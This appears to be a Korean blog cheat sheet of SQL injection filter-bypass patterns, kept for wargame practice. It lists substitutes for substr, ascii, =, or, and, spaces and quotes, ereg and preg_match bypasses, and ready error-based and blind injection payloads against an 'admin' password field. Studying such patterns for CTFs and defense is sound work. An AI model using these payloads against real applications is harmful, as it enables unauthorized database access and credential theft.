** 이 포스팅은 추후에 필터링 패턴 발견 시 계속 추가할 예정임

1. substr 우회
   ord, right, left, mid 사용
   (ex) substr('admin',1,1) = 'a'   → left('admin',1) 

2. ascii 우회
   ord, hex 사용
   (ex) ord('admin')=97    ord()는 가장 왼쪽의 문자를 아스키코드 10진수로 전환    

3. =, like, or, and 우회
  =    like, between, in, instr 
 !=  →  <>
  or    ||  (%7c%7c)
  and    && (%26%26)

4. 빈칸(공백) 우회
  ' '    ( ), /**/, %09, %0a, %0b, %0c, %0d, %a0, +, %20, 
  주석(-- -, #)    ;%00

5. ' (싱글쿼터) 우회
  '     %27, char, " (더블쿼터)

6. ereg, eregi 우회  : case-sensitive
  - 특수문자  %00(널바이트) : %00(널바이트)까지 패턴 검색
  - 문자열  대소문자 변경

7. preg_match 우회
 \ 

TIP

  • 영어가 아닌 문자 Blind-Injection 시, 한글자 당 바이트 추출: length(mid(pw,1,1))=4
  • error based SQL Injection
    •  ' or id='admin' and if((select id='admin' and length(pw)=16),true,(select 1 union select 2))#
    •  ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)#

참조 URL

  • 여러 우회패턴 정리 : http://blog.daum.net/bada0217/149
  • 워게임 사이트 - 여러 우회패턴을 익히는데 유용 : http://los.eagle-jump.org


+ Recent posts